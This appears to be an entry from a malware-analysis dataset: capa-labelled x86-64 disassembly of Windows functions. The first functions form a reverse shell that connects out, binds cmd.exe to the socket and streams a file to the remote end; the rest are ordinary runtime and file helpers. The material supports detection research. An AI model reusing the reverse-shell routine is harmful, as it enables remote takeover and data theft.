joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov eax, edx
mov word [rbp + 0x18], ax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x1c], eax
movzx eax, word [rbp + 0x18]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x1e], ax
mov word [rbp - 0x20], 2
mov ecx, 5
call dbg.sleep
mov qword [rbp - 8], 0xffffffffffffffff
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x401950
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error_in_creating_sockets:__lu_n
call sym.printf
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
jmp 0x4019be
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
test eax, eax
je 0x4019b8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error_in_connecting_to_server_:__lu_n
call sym.printf
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
jmp 0x4019be
mov rax, qword [rbp - 8]
jmp 0x4019c3
jmp 0x4018db
add rsp, 0x60
pop rbp
ret

Function at 0x4019c9
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 0x34]
or ah, 1
mov dword [rbp - 0x34], eax
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000400
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.C:WindowsSystem32cmd.exe
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x401a94
mov eax, 0
jmp 0x401aae
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x90]
add rsp, 0xe0
pop rbp
ret
Function at 0x401ab7
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x430], rcx
mov qword [rbp + 0x438], rdx
lea rdx, [0x004050e1]
mov rcx, qword [rbp + 0x430]
call sym.fopen
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
lea rdx, [rbp + 0x20]
mov eax, 0
mov ecx, 0x7b
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbp + 0x400]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov rdx, qword [rbp + 0x400]
lea rax, [rbp + 0x10]
mov r9, rdx
mov r8d, 1
mov edx, 0x3e8
mov rcx, rax
call sym.fread
cmp rax, 1
je 0x401c17
mov rax, qword [rbp + 0x400]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
lea rcx, [0x004050e4]
call sym.printf
jmp 0x401bf1
mov dword [rbp + 0x408], 0
jmp 0x401bb3
mov eax, dword [rbp + 0x408]
cdqe
movzx eax, byte [rbp + rax - 0x60]
test al, al
jne 0x401bac
mov eax, dword [rbp + 0x408]
mov dword [rbp + 0x40c], eax
jmp 0x401bbc
add dword [rbp + 0x408], 1
cmp dword [rbp + 0x408], 0x63
jle 0x401b8d
mov ecx, dword [rbp + 0x40c]
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x438]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp eax, 0xffffffff
jne 0x401bf1
mov eax, 0
jmp 0x401cd9
mov rdx, qword [rbp + 0x400]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 0x64
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x401b81
jmp 0x401c89
mov rax, qword [rbp + 0x400]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
jmp 0x401c62
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x438]
mov r9d, 0
mov r8d, 0x3e8
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp eax, 0xffffffff
jne 0x401c62
mov eax, 0
jmp 0x401cd9
mov rdx, qword [rbp + 0x400]
lea rax, [rbp + 0x10]
mov r9, rdx
mov r8d, 1
mov edx, 0x3e8
mov rcx, rax
call sym.fread
cmp rax, 1
je 0x401c33
mov rax, qword [rbp + 0x400]
mov rcx, rax
call sym.fclose
mov ecx, 1
call dbg.sleep
mov rax, qword [rbp + 0x438]
mov r9d, 0
mov r8d, 0x14
lea rdx, str.__end__file___n
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp eax, 0xffffffff
jne 0x401cd4
mov eax, 0
jmp 0x401cd9
mov eax, 1
add rsp, 0x498
pop rdi
pop rbp
ret

Function at 0x4021e0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x402250
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00408634]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x4023f8
mov rax, qword [0x00408638]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x40229c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x402327
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x402280
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x402432
mov rax, qword [0x00408638]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408638]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402441
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x402320
sub eax, 4
and eax, 0xfffffffb
jne 0x4023b0
add dword [0x00408634], 1
cmp ebx, 8
jae 0x402358
test bl, 4
jne 0x402400
test ebx, ebx
je 0x402349
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x402420
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x402349
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40238a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00408638]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402320
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x4022a7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x402349
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x402349
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x00408638]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]
Function at 0x402c20
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408920]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00408900]
test rbx, rbx
je 0x402c74
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x402c6b
test r12, r12
je 0x402c6b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402c50
lea rcx, [0x00408920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402ea0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x402eb0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x402ec0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402f05
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x402efc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402f07
add rax, 0x28
cmp rax, r9
jne 0x402ee8
xor eax, eax
ret

Function at 0x402fb0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00405490]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x403029
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403029
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x403026
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x40301d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x403029
add r8, 0x28
cmp r8, r9
jne 0x403008
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x403110
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00405490]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x40317f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40317f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x40317d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x403174
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403188
add rax, 0x28
cmp rax, r9
jne 0x403160
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x4031a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00405490]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x403218
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403218
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x403218
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403218
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x40320c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x403220
add rdx, 0x28
cmp rdx, r10
jne 0x4031f8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x403230
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x40323e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x403215
test r8d, r8d
jg 0x403228
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x140036bb0
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov qword [rcx], 0
test rdx, rdx
je 0x140036bf7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
inc rax
cmp rax, 2
jae 0x140036c11
lea rax, [rdi + 1]
cmp rax, 2
jb 0x140036bef
mov qword [rsi], rdi
call fcn.140081080
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov byte [rsi + 8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rax, rdi
je 0x140036c27
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
call fcn.140081080
mov rcx, qword [rsi]
call fcn.14007c410
mov qword [rsi], 0
jmp 0x140036bdd
int3

Function at 0x140036c60
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov r14, qword [rdx]
mov qword [rdx], 0
lea r15, [r14 + 1]
cmp r15, 2
jb 0x140036c8a
call fcn.140081080
cmp qword [rsi], r14
je 0x140036cb9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
inc rax
cmp rax, 2
jae 0x140036cde
cmp r15, 2
jb 0x140036cb1
mov qword [rsi], r14
call fcn.140081080
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov al, byte [rdi + 8]
mov byte [rsi + 8], al
mov byte [rdi + 8], 0
mov rax, qword [rdi]
inc rax
cmp rax, 2
jae 0x140036cf4
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.140081080
mov rcx, qword [rsi]
call fcn.14007c410
mov qword [rsi], 0
jmp 0x140036ca3
mov rcx, rdi
call fcn.14007c660
jmp 0x140036ccf
Function at 0x140036f70
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov rbx, qword [rcx + 0x10]
cmp rbx, qword [rcx + 0x18]
je 0x140036fb6
mov r15, rbx
test r15, r15
je 0x1400370b1
mov rax, qword [rdi]
mov qword [r15], rax
add qword [rsi + 0x10], 8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r12, qword [rsi]
mov r14, qword [rsi + 8]
mov rax, r14
sub rax, r12
jbe 0x140037012
sar rax, 3
lea rcx, [rax + 1]
shr rcx, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r12, rax
neg r12
shl rax, 3
mov r15, r14
sub r15, rax
sub rbx, r14
je 0x140037001
mov rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.1400e61a0
mov r14, qword [rsi + 8]
add r15, rbx
mov qword [rsi + 0x10], r15
lea rax, [r14 + r12*8]
mov qword [rsi + 8], rax
jmp 0x140036f92
mov rax, rbx
sub rax, r12
sar rax, 2
cmp rbx, r12
mov r13d, 1
cmovne r13, rax
mov rax, r13
shr rax, 0x3d
jne 0x1400370d7
lea rcx, [r13*8]
call fcn.1400b2e18
mov rcx, r13
and rcx, 0xfffffffffffffffc
lea rcx, [rax + rcx*2]
mov rdx, rbx
mov r15, rcx
sub rdx, r14
je 0x140037077
xor r15d, r15d
mov r8, rcx
add r8, r15
je 0x1400370b1
mov r9, qword [r14 + r15]
mov qword [r8], r9
add r15, 8
cmp rdx, r15
jne 0x14003705c
add r15, rcx
lea rdx, [rax + r13*8]
mov qword [rsi], rax
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rdx
cmp rbx, r14
je 0x140037097
add rbx, 0xfffffffffffffff8
jne 0x14003708a
jmp 0x1400370c4
test r12, r12
je 0x140036f92
mov rcx, r12
call fcn.1400b2e54
mov r15, qword [rsi + 0x10]
jmp 0x140036f92
lea rcx, [0x1401668da]
lea rdx, str....._third_partylibc_srcinclude__memoryconstruct_at.h:40:_assertion___location___nullptr_failed:_null_pointer_given_to_construct_at_n
call fcn.1400e9b50
lea rcx, [0x1401668da]
lea rdx, str....._third_partylibc_srcinclude__memoryconstruct_at.h:66:_assertion___loc___nullptr_failed:_null_pointer_given_to_destroy_at_n
call fcn.1400e9b50
call fcn.1400e7380
int3
Function at 0x140037c50
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov esi, r8d
mov rdi, rdx
mov rbx, rcx
mov rax, qword [0x140192040]
xor rax, rsp
mov qword [rsp + 0x98], rax
movaps xmm0, xmmword [0x1401667f0]
lea r14, [rsp + 0x50]
movaps xmmword [r14 + 0x30], xmm0
movaps xmmword [r14 + 0x20], xmm0
movaps xmmword [r14 + 0x10], xmm0
movaps xmmword [r14], xmm0
lea rdx, str.WriteAtCurrentPos
lea r8, str....._base_files_file_win.cc
lea r15, [rsp + 0x30]
mov rcx, r15
mov r9d, 0x97
call fcn.140081060
mov rcx, r14
mov rdx, r15
xor r8d, r8d
call fcn.1400872d0
test esi, esi
js 0x140037d56
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
call fcn.140087530
test al, al
jne 0x140037d5d
lea r14, [rsp + 0x2c]
mov dword [r14], 0xaaaaaaaa
mov rcx, qword [rbx]
mov qword [rsp + 0x20], 0
mov rdx, rdi
mov r8d, esi
mov r9, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor esi, esi
cmp eax, 1
sbb esi, esi
or esi, dword [r14]
lea rcx, [rsp + 0x30]
call fcn.140087ad0
lea rcx, [rsp + 0x50]
call fcn.140087350
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400b4140
mov eax, esi
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov esi, 0xffffffff
jmp 0x140037d2b
mov r9d, esi
lea rdx, str.File::WriteAtCurrentPos
lea rcx, [rsp + 0x30]
mov r8, rbx
call fcn.14010cc50
jmp 0x140037cf0

Function at 0x140037d80
Capabilities:
Get file size

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x98
mov rsi, rcx
mov rax, qword [0x140192040]
xor rax, rsp
mov qword [rsp + 0x90], rax
movabs r14, 0xaaaaaaaaaaaaaaaa
movaps xmm0, xmmword [0x1401667f0]
lea rdi, [rsp + 0x50]
movaps xmmword [rdi + 0x30], xmm0
movaps xmmword [rdi + 0x20], xmm0
movaps xmmword [rdi + 0x10], xmm0
movaps xmmword [rdi], xmm0
lea rdx, str.GetLength
lea r8, str....._base_files_file_win.cc
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov r9d, 0xac
call fcn.140081060
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
call fcn.1400872d0
mov qword [rbx + 8], r14
mov qword [rbx], 0
call fcn.140087530
test al, al
jne 0x140037e5c
lea rdi, [rsp + 0x28]
mov qword [rdi], r14
mov rcx, qword [rsi]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
xor esi, esi
cmp eax, 1
sbb rsi, rsi
or rsi, qword [rdi]
lea rcx, [rsp + 0x30]
call fcn.140087ad0
lea rcx, [rsp + 0x50]
call fcn.140087350
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400b4140
mov rax, rsi
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rdx, str.File::GetLength
lea rcx, [rsp + 0x30]
mov r8, rsi
xor r9d, r9d
call fcn.14010cc50
jmp 0x140037e09
Function at 0x140037e80
Capabilities:
Clear file content

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov rdi, rdx
mov rsi, rcx
mov rax, qword [0x140192040]
xor rax, rsp
mov qword [rsp + 0x98], rax
movabs r15, 0xaaaaaaaaaaaaaaaa
movaps xmm0, xmmword [0x1401667f0]
lea rbx, [rsp + 0x50]
movaps xmmword [rbx + 0x30], xmm0
movaps xmmword [rbx + 0x20], xmm0
movaps xmmword [rbx + 0x10], xmm0
movaps xmmword [rbx], xmm0
lea rdx, str.SetLength
lea r8, str....._base_files_file_win.cc
lea r14, [rsp + 0x30]
mov rcx, r14
mov r9d, 0xb9
call fcn.140081060
mov rcx, rbx
mov rdx, r14
xor r8d, r8d
call fcn.1400872d0
mov qword [r14 + 8], r15
mov qword [r14], 0
call fcn.140087530
test al, al
jne 0x140037fa8
lea r8, [rsp + 0x28]
mov qword [r8], r15
mov rcx, qword [rsi]
xor ebx, ebx
xor edx, edx
mov r9d, 1
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140037f6f
mov rcx, qword [rsi]
xor ebx, ebx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140037f6f
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x140037fa4
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsi]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
setne bl
lea rcx, [rsp + 0x30]
call fcn.140087ad0
lea rcx, [rsp + 0x50]
call fcn.140087350
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400b4140
mov eax, ebx
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
xor ebx, ebx
jmp 0x140037f6f
lea rdx, str.File::SetLength
lea rcx, [rsp + 0x30]
mov r8, rsi
mov r9, rdi
call fcn.14010cc50
jmp 0x140037f12
Function at 0x1400380d0
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
mov ebx, r8d
mov rdi, rdx
mov rsi, rcx
mov rax, qword [0x140192040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
movaps xmm0, xmmword [0x1401667f0]
lea r14, [rsp + 0x60]
movaps xmmword [r14 + 0x30], xmm0
movaps xmmword [r14 + 0x20], xmm0
movaps xmmword [r14 + 0x10], xmm0
movaps xmmword [r14], xmm0
lea rdx, str.DoInitialize
lea r8, str....._base_files_file_win.cc
lea r15, [rsp + 0x40]
mov rcx, r15
mov r9d, 0x171
call fcn.140081060
mov rcx, r14
mov rdx, r15
xor r8d, r8d
call fcn.1400872d0
mov eax, ebx
and eax, 1
neg eax
and eax, 3
test bl, 2
mov edx, 1
cmove edx, eax
test bl, 4
mov ecx, 4
cmovne edx, ecx
test bl, 8
mov r8d, 2
cmove r8d, edx
test bl, 0x10
mov eax, 5
cmove eax, r8d
test eax, eax
je 0x14003833c
mov edx, ebx
and edx, 0x40
shl edx, 0x18
test bl, bl
cmovns ecx, edx
mov r8d, ebx
rol r8d, 0x1a
and r8d, 0x80000100
or r8d, ecx
bt ebx, 0x12
jb 0x14003832a
mov edx, ebx
shr edx, 4
and edx, 0x10000
or edx, r8d
mov ecx, ebx
shr ecx, 8
and ecx, 3
mov r8d, ebx
shr r8d, 0xd
and r8d, 4
or r8d, ecx
xor r8d, 3
mov r15d, ebx
and r15d, 0x400
mov ecx, r15d
shl ecx, 0x14
mov r9d, ebx
shr r9d, 3
and r9d, 0x100
or r9d, ecx
mov ecx, ebx
shr ecx, 0xb
and ecx, 2
or ecx, r9d
mov r10d, ebx
shl r10d, 0xd
and r10d, 0x4000000
or r10d, ecx
mov r9d, ebx
shl r9d, 8
and r9d, 0xa000000
or r9d, r10d
cmp byte [rdi + 0x17], 0
mov rcx, rdi
jns 0x140038233
mov rcx, qword [rdi]
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x30], 0
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp qword [rsi], rax
je 0x14003828d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
mov rax, qword [rsi]
inc rax
cmp rax, 2
jae 0x1400382f6
mov rax, r14
inc rax
cmp rax, 2
jb 0x140038282
mov qword [rsi], r14
call fcn.140081080
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r14, qword [rsi]
inc r14
cmp r14, 2
jb 0x1400382e4
shr r15d, 0xa
mov dword [rsi + 0x24], 0
mov byte [rsi + 0x29], r15b
test bl, 4
jne 0x14003830f
test bl, 0xa
je 0x1400382b3
mov byte [rsi + 0x28], 1
bt ebx, 0x15
jb 0x140038320
lea rcx, [rsp + 0x60]
call fcn.140087350
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400b4140
nop
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140037fd0
mov dword [rsi + 0x24], eax
jmp 0x1400382b9
call fcn.140081080
mov rcx, qword [rsi]
call fcn.14007c410
mov qword [rsi], 0
jmp 0x14003826e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne byte [rsi + 0x28]
jmp 0x1400382b3
mov rcx, rdi
call fcn.140039930
jmp 0x1400382b9
bt ebx, 0x15
jb 0x140038358
or r8d, 0x20000000
jmp 0x1400381b1
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [rsi + 0x24], 0xffffffff
call fcn.14010c160
jmp 0x1400382b9
int3